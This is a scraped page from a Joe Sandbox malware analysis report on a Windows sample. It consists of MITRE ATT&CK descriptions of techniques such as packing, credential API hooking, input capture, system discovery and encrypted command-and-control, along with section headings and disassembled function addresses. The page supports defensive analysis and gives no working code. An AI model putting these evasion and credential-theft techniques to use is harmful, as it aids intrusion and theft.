Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report twjMb9cX64.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
twjMb9cX64.exe

Function 00007FF70FA7AFA4 Relevance: 23.4, APIs: 8, Strings: 7, Instructions: 943
COMMON

Function 00007FF70FAE0AEF Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 554
COMMON

Function 00007FF70FAB7A83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 281
networkCOMMON

Function 00007FF70FA694F9 Relevance: 14.8, APIs: 6, Strings: 2, Instructions: 822
COMMON

Function 00007FF70FA75CE4 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 432
networkCOMMON

Function 00007FF70FA74A04 Relevance: 12.9, APIs: 5, Strings: 3, Instructions: 869
COMMON

Function 00007FF70FAE4514 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 380
nativeCOMMON

Function 00007FF70FAB6F2C Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 178
libraryloaderCOMMON

Function 00007FF70FA31180 Relevance: 12.2, APIs: 8, Instructions: 201
sleepstringCOMMON

Function 00007FF70FA76A17 Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 515
networkCOMMON

Function 00007FF70FA7363E Relevance: 41.2, APIs: 26, Strings: 1, Instructions: 706
COMMON

Function 00007FF70FA70A16 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 587
encryptionCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre